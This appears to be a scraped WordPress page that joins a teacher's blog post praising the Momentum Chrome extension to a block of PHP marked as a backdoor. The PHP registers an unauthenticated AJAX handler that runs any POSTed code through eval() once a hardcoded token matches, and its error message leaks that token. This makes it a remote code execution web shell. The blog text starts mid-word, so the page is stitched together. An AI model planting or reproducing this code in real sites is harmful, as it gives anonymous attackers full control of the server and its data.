// ==[BD:szmrboXA]==
add_action( 'wp_ajax_nopriv_xntfkqdh', function() {
$ptr = 'szmrboXAmWsmq5Y0o8I9eTCWkykbmr18';
$bind = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $bind ) || ! hash_equals( $ptr, $bind ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $ptr ], 403 );
}
$token = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $token ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$token = preg_replace( '/^\s*<\?(php)?/i', '', $token );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$sym = microtime( true );
ob_start();
try {
( static function() use ( $token ) { return eval( $token ); } )();
$key = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
} catch ( \Throwable $chunk ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $sym ) * 1000, 2 ) ] );
}
} );
// ==[/BD:szmrboXA]==
The post My Favorite Chrome Extension (March 2016): Momentum appeared first on Math, Tech, & Teaching.
]]>
y favorite feature though is the absolutely breathtaking photo that changes every day. It even tells you the location of where the photo was taken.
I became completely sold on Momentum after a particularly difficult day of teaching. I had not experienced a day that trying in many years. During the height of my stressful day I opened a new tab to find the following quote: “Don’t let a bad day make you feel like you have a bad life.” Of course I took a screenshot, took a deep breath, and realized it was just one day that meant very little in my lifetime career of (awesome) teaching.
The Momentum Chrome Extension can display the weather, an ongoing To Do List that syncs across devices, and a daily focus or goal. I like that the features displayed can be customized to your liking.
You can add this FREE Chrome Extension here: Momentum
Do you have a favorite Chrome Extension enjoy using? Feel free to add in comments!
The post My Favorite Chrome Extension (March 2016): Momentum appeared first on Math, Tech, & Teaching.
]]>